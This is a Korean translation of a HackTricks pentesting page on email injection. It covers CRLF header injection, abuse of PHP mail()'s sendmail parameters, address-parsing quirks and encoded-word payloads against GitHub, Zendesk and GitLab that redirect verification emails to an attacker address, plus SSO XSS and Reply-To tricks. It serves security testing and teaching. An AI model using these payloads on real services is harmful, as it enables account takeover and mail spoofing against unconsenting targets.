이메일 인젝션

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

구독 계획 확인하기!

**💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.

HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.

발송된 이메일에 인젝션

Inject Subject argument

From:sender@domain.com%0ASubject:This is%20Fake%20Subject

가짜 제목은 원래 제목에 추가되며, 경우에 따라 이를 대체할 수 있습니다. 이는 메일 서비스의 동작에 따라 다릅니다.

메시지 본문 변경

두 줄 피드를 삽입한 다음, 메시지 본문을 변경하기 위해 메시지를 작성합니다.

From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.

PHP mail() 함수 악용

# The function has the following definition:

php --rf mail

Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}

5번째 매개변수 ($additional_parameters)

이 섹션은 공격자가 이 매개변수를 제어한다고 가정할 때 이를 악용하는 방법에 기반합니다.

이 매개변수는 PHP가 바이너리 sendmail을 호출하는 명령줄에 추가될 것입니다. 그러나 escapeshellcmd($additional_parameters) 함수로 세척될 것입니다.

이 경우 공격자는 sendmail에 대한 추가 매개변수를 주입할 수 있습니다.

/usr/sbin/sendmail 구현의 차이점

sendmail 인터페이스는 시스템에 설치된 MTA 이메일 소프트웨어(Sendmail, Postfix, Exim 등)에 의해 제공됩니다. 기본 기능(-t -i -f 매개변수 등)은 호환성 이유로 같지만, 설치된 MTA에 따라 다른 기능과 매개변수는 크게 다릅니다.

다음은 sendmail 명령/인터페이스의 다양한 매뉴얼 페이지의 몇 가지 예입니다:

Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html
Postfix MTA: http://www.postfix.org/mailq.1.html
Exim MTA: https://linux.die.net/man/8/eximReferences

sendmail 바이너리의 출처에 따라 이를 악용하고 파일을 유출하거나 임의의 명령을 실행하는 다양한 옵션이 발견되었습니다. https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html에서 확인하세요.

이메일 이름에 주입

Caution

임의의 도메인 이름(예: Github, Gitlab, CloudFlare Zero trust…)으로 서비스에 계정을 생성하고, 확인 이메일을 수신하여 이를 확인하면 피해 회사의 민감한 위치에 접근할 수 있을 수 있습니다.

이메일의 무시된 부분

기호: +, - 및 **{}**는 드물게 태그 지정에 사용될 수 있으며 대부분의 이메일 서버에서 무시됩니다.

예: john.doe+intigriti@example.com → john.doe@example.com

괄호 () 사이의 주석은 시작 또는 끝에 있을 경우에도 무시됩니다.

예: john.doe(intigriti)@example.com → john.doe@example.com

IP

대괄호 안에 IP를 도메인 이름으로 사용할 수도 있습니다:

john.doe@[127.0.0.1]
john.doe@[IPv6:2001:db8::1]

이메일 인코딩

이 연구에서 설명한 바와 같이, 이메일 이름은 인코딩된 문자를 포함할 수도 있습니다:

PHP 256 오버플로우: PHP chr 함수는 문자가 양수가 될 때까지 256을 계속 추가한 후 %256 연산을 수행합니다.
String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @

Tip

이 트릭의 목표는 RCPT TO:<"collab@psres.net>collab"@example.com>와 같은 주입으로 끝나는 것입니다.
이는 확인 이메일을 예상된 이메일 주소와 다른 이메일 주소로 보내게 하여 이메일 이름 안에 다른 이메일 주소를 삽입하고 이메일을 보낼 때 구문을 깨뜨리게 합니다.

다양한 인코딩:

# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com

# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding

# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q?<utf-7 encoded string>?=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
#punycode
x@xn--svg/-9x6 → x@<svg/

Payloads:

Github: =?x?q?collab=40psres.net=3e=00?=foo@example.com
인코딩된 @는 =40, 인코딩된 >는 =3e, 그리고 null은 =00입니다.
확인 이메일이 collab@psres.net으로 전송됩니다.
Zendesk: "=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com
이전과 같은 트릭이지만, 시작 부분에 일반 따옴표를 추가하고 인코딩된 따옴표 =22를 인코딩된 @ 앞에 추가한 후, 다음 이메일 앞에 따옴표를 시작하고 닫아 Zendesk에서 내부적으로 사용되는 구문을 수정합니다.
확인 이메일이 collab@psres.net으로 전송됩니다.
Gitlab: =?x?q?collab=40psres.net_?=foo@example.com
주소를 구분하기 위해 언더스코어를 공백으로 사용합니다.
확인 이메일이 collab@psres.net으로 전송됩니다.
Punycode: Punycode를 사용하여 Joomla에 <style 태그를 주입하고 이를 악용하여 CSS 유출을 통해 CSRF 토큰을 훔칠 수 있었습니다.

Tooling

이러한 조합을 퍼징하여 이메일 형식을 공격하려는 Burp Suite Turbo Intruder 스크립트가 있습니다. 이 스크립트는 이미 잠재적으로 작동하는 조합을 가지고 있습니다.
Hackvertor를 사용하여 이메일 분할 공격을 생성하는 것도 가능합니다.

Third party SSO

XSS

github 또는 salesforce와 같은 일부 서비스는 XSS 페이로드가 포함된 이메일 주소를 생성할 수 있습니다. 이러한 제공자를 사용하여 다른 서비스에 로그인할 수 있고, 이 서비스가 이메일을 올바르게 정리하지 않는다면, XSS를 유발할 수 있습니다.

SSO 서비스가 주어진 이메일 주소를 확인하지 않고 계정을 생성할 수 있게 하고 (예: salesforce), 그 계정을 사용하여 salesforce를 신뢰하는 다른 서비스에 로그인할 수 있다면, 모든 계정에 접근할 수 있습니다.
주어진 이메일이 확인되었는지 여부를 salesforce가 표시하지만, 애플리케이션은 이 정보를 고려해야 합니다.

Reply-To

_From: company.com_을 사용하여 이메일을 보낼 수 있으며, _Replay-To: attacker.com_을 설정하면, 내부 주소에서 이메일이 발송되었기 때문에 자동 회신이 전송될 경우 공격자가 그 응답을 받을 수 있습니다.

Hard Bounce Rate

AWS와 같은 특정 서비스는 Hard Bounce Rate로 알려진 임계값을 구현하며, 일반적으로 10%로 설정됩니다. 이는 이메일 배달 서비스에 특히 중요한 지표입니다. 이 비율을 초과하면 AWS의 이메일 서비스와 같은 서비스가 중단되거나 차단될 수 있습니다.

하드 바운스는 수신자의 주소가 유효하지 않거나 존재하지 않아 발신자에게 반환된 이메일을 의미합니다. 이는 존재하지 않는 주소로 이메일이 전송되거나, 실제가 아닌 도메인으로 전송되거나, 수신자 서버가 이메일 수신을 거부하는 등의 다양한 이유로 발생할 수 있습니다.

AWS의 맥락에서 1000개의 이메일을 보내고 그 중 100개가 하드 바운스가 발생하면 (유효하지 않은 주소나 도메인과 같은 이유로), 이는 10%의 하드 바운스 비율을 의미합니다. 이 비율에 도달하거나 초과하면 AWS SES (Simple Email Service)가 이메일 발송 기능을 차단하거나 중단할 수 있습니다.

중단 없는 이메일 서비스를 보장하고 발신자 평판을 유지하기 위해 낮은 하드 바운스 비율을 유지하는 것이 중요합니다. 메일링 리스트의 이메일 주소 품질을 모니터링하고 관리하는 것이 이를 달성하는 데 크게 도움이 될 수 있습니다.

자세한 정보는 AWS의 공식 문서에서 바운스 및 불만 처리에 대한 내용을 참조할 수 있습니다 AWS SES Bounce Handling.

References